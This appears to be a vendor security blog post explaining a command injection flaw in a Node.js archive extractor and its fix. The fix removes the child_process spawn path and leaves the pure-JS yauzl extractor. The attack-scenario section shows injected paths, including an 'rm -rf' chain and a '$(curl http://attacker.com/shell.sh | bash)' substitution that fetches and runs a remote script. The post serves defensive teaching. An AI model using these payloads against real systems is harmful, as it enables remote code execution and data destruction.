How Command Injection Happens in Node.js child_process Calls and How to Fix It
The Vulnerability at a Glance
| Field | Detail |
|---|---|
| Vulnerability | Command Injection via child_process |
| CWE | CWE-78: Improper Neutralization of Special Elements in an OS Command |
| Language | JavaScript (Node.js) |
| Risk | Arbitrary shell command execution on the host system |
| Root Cause | User-controlled archive path passed unsanitized to child_process.spawn |
| Fix | Removed spawn-based extraction; delegated entirely to yauzl |
Introduction
The src/cli/commands/extract.js file is responsible for unpacking archive files — a routine but security-sensitive operation in any CLI tool. A flaw in the extractZipWithSystemTool function created a command injection vector: user-supplied archive paths and extraction destinations were passed directly into child_process.spawn without sanitization. Semgrep flagged this pattern at line 257 under rule javascript.lang.security.detect-child-process.detect-child-process, and the fix removes the dangerous execution path entirely.
This matters to any developer building CLI tools or libraries that process user-supplied file paths. The pattern — "try a fast system tool, fall back to a pure-JS library" — is common and convenient, but it silently introduces a shell execution surface that can be exploited if the inputs ever touch attacker-controlled data.
The Vulnerability Explained
What the Code Was Doing
The vulnerable flow worked like this:
extractZip(archivePath, extractTo)was called with paths that could originate from user input.- It first called
validateZipEntriesto check for zip-slip (path traversal within entries). - It then called
extractZipWithSystemTool(archivePath, extractTo). extractZipWithSystemToolretrieved a list of system commands viagetZipExtractorCommands(archivePath, extractTo)and calledrunProcess(command, args)— which internally usedspawnfromchild_process.
// VULNERABLE: Before the fix
import { spawn } from 'child_process';
async function extractZipWithSystemTool(archivePath, extractTo) {
const commands = getZipExtractorCommands(archivePath, extractTo);
const errors = [];
for (const { command, args } of commands) {
try {
await runProcess(command, args); // spawn() called here with user data
return;
} catch (error) {
errors.push(`${command}: ${error.message}`);
}
}
}
The critical issue: archivePath and extractTo — values that can be influenced by a downstream consumer of this library — flow into getZipExtractorCommands, which constructs the args array passed to spawn. If those values contain shell metacharacters and spawn is invoked with shell: true (or if exec is used under the hood), the OS shell interprets those characters as commands.
A Concrete Attack Scenario
Imagine a downstream application that accepts a user-supplied filename for extraction:
// Downstream consumer code (the victim application)
const userSuppliedPath = req.body.archivePath; // e.g., from an HTTP request
await extractZip(userSuppliedPath, '/tmp/output');
An attacker submits:
/uploads/archive.zip; rm -rf /tmp/output; echo pwned > /tmp/pwned
Or uses command substitution:
/uploads/$(curl http://attacker.com/shell.sh | bash).zip
If getZipExtractorCommands builds a shell string like:
unzip /uploads/$(curl http://attacker.com/shell.sh | bash).zip -d /tmp/output
...and that string reaches a shell interpreter, the attacker achieves remote code execution on the server.
Why This Library Is a Special Risk
Because this is a Node.js library (not a standalone application), the vulnerability's blast radius extends to every downstream project that imports it. The library's author may never pass unsanitized input themselves, but a consumer application might — and the library's use of child_process makes that consumer vulnerable even if their own code looks clean.
The Fix
The fix is surgical and decisive: remove the entire child_process-based extraction path.
Before: Two-Path Extraction with a Shell Execution Risk
// BEFORE: extract.js imported spawn and used it via extractZipWithSystemTool
import { spawn } from 'child_process'; // ← REMOVED
async function extractZip(archivePath, extractTo) {
await validateZipEntries(archivePath, extractTo); // zip-slip check
try {
await extractZipWithSystemTool(archivePath, extractTo); // ← REMOVED
} catch (systemError) {
console.warn(` System ZIP extractor failed: ${systemError.message}`);
console.warn(' Falling back to yauzl ZIP extractor...');
await extractZipWithYauzl(archivePath, extractTo); // ← NOW THE ONLY PATH
}
}
After: Single-Path Extraction Using Pure JavaScript
// AFTER: child_process import removed entirely
// extractZipWithSystemTool and its supporting functions removed
// extractZipWithYauzl is now the sole extraction mechanism
async function extractZip(archivePath, extractTo) {
await validateZipEntries(archivePath, extractTo);
await extractZipWithYauzl(archivePath, extractTo);
}
The diff removes:
- The import { spawn } from 'child_process' statement
- The extractZipWithSystemTool function (~30 lines)
- The validateZipEntries helper that supported the two-path flow
- All associated getZipExtractorCommands / runProcess plumbing
The yauzl-based extractor was already present as the fallback. Promoting it to the only path eliminates the shell execution surface without any loss of functionality for valid inputs. The zip-slip protection (validateZipEntries) is preserved.
Why This Fix Is Better Than Sanitization
One might ask: why not just sanitize archivePath before passing it to spawn? Several reasons:
- Sanitization is fragile. Shell escaping is notoriously error-prone across platforms and shells. A missed edge case means a bypass.
- The fallback already works.
yauzlhandles ZIP extraction in pure JavaScript — no shell, no injection surface, cross-platform by design. - Defense in depth. Removing the attack surface entirely is always preferable to defending it. You can't inject into a shell that isn't invoked.
Prevention & Best Practices
1. Prefer Pure-JS Libraries Over System Tool Wrappers
When a JavaScript library exists for your task (e.g., yauzl for ZIP, tar npm package for tarballs), use it. System tool wrappers introduce OS-level dependencies and shell injection risks.
2. If You Must Use child_process, Use spawn With shell: false
// SAFER: spawn with argument array, shell:false (default)
const { spawn } = require('child_process');
const proc = spawn('unzip', ['-o', archivePath, '-d', extractTo], { shell: false });
// DANGEROUS: exec or spawn with shell:true
const { exec } = require('child_process');
exec(`unzip ${archivePath} -d ${extractTo}`); // ← Never do this with user input
Using spawn with an array of arguments and shell: false means the OS kernel receives the arguments directly — no shell interprets metacharacters.
3. Validate Paths Against an Allowlist
If paths must be passed to any external process, validate them strictly:
const path = require('path');
function validateArchivePath(inputPath, allowedBase) {
const resolved = path.resolve(inputPath);
if (!resolved.startsWith(path.resolve(allowedBase))) {
throw new Error('Path traversal detected');
}
// Additional: reject shell metacharacters
if (/[;&|`$<>]/.test(inputPath)) {
throw new Error('Invalid characters in path');
}
return resolved;
}
4. Use Shell-Escape Libraries as a Last Resort
If you must construct shell strings, use a library like shell-escape or shelljs with proper escaping — but prefer structural solutions over escaping.
5. Run Static Analysis in CI
The Semgrep rule javascript.lang.security.detect-child-process.detect-child-process caught this issue automatically. Add it to your CI pipeline:
# .github/workflows/security.yml
- name: Run Semgrep
uses: semgrep/semgrep-action@v1
with:
config: "p/nodejs-security"
Key Takeaways
- The "try system tool, fall back to JS library" pattern silently introduces a shell execution surface — in
extract.js, theextractZipWithSystemToolfunction was the risk, not theyauzlfallback. - Removing
import { spawn } from 'child_process'entirely is a stronger fix than sanitizing its inputs — you cannot inject into a shell that is never invoked. - Library authors bear extra responsibility: vulnerabilities in
extract.jsaffect every downstream consumer, not just the library's own use cases. yauzlwas already doing the safe thing — the pure-JS fallback that was there for reliability was also the security-correct path.- Zip-slip protection (
validateZipEntries) was preserved — the fix tightened the shell injection risk without regressing the path traversal defense.
How Orbis AppSec Detected This
- Source: The
archivePathandextractToarguments toextractZip(), which can originate from user-controlled input in downstream consumer applications. - Sink:
child_process.spawninvoked insiderunProcess(), called fromextractZipWithSystemTool()atsrc/cli/commands/extract.js:257, with arguments constructed from the taintedarchivePathandextractTovalues. - Missing control: No sanitization or allowlist validation of shell metacharacters in the archive path before it was passed to the system tool command builder.
- CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- Fix: Removed the
child_process-basedextractZipWithSystemToolfunction and itsspawnimport entirely, leavingyauzlas the sole ZIP extraction mechanism.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The extract.js vulnerability is a textbook example of how a well-intentioned performance optimization — "use a fast native tool, fall back to JS if it fails" — can introduce a critical security flaw. The extractZipWithSystemTool function passed user-influenced paths into child_process.spawn, creating a command injection vector that any downstream consumer of this library could inadvertently expose.
The fix is elegant precisely because it doesn't try to sanitize the dangerous path — it removes it. The yauzl library handles ZIP extraction safely, portably, and without ever touching a shell. When you have a pure-JS alternative that works, use it. The performance difference is rarely worth the security debt.
For Node.js developers: treat every child_process call as a potential injection point. Ask yourself whether a pure-JS library could replace it. If not, use spawn with argument arrays and shell: false, validate inputs strictly, and run static analysis tools like Semgrep in your CI pipeline to catch these patterns before they ship.